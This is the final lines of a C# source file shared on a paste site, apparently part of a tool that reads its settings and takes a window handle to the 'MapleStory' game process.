  802. UserBoxY = Settings.Default.UserBoxY;
  803. }
  804.  
  805. public static void UpdateHandle()
  806. {
  807. MapleProcess = ReturnProcess("MapleStory");
  808. hndl = new HandleRef(MapleProcess, MapleProcess.MainWindowHandle);
  809. }
  810. }
  811. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement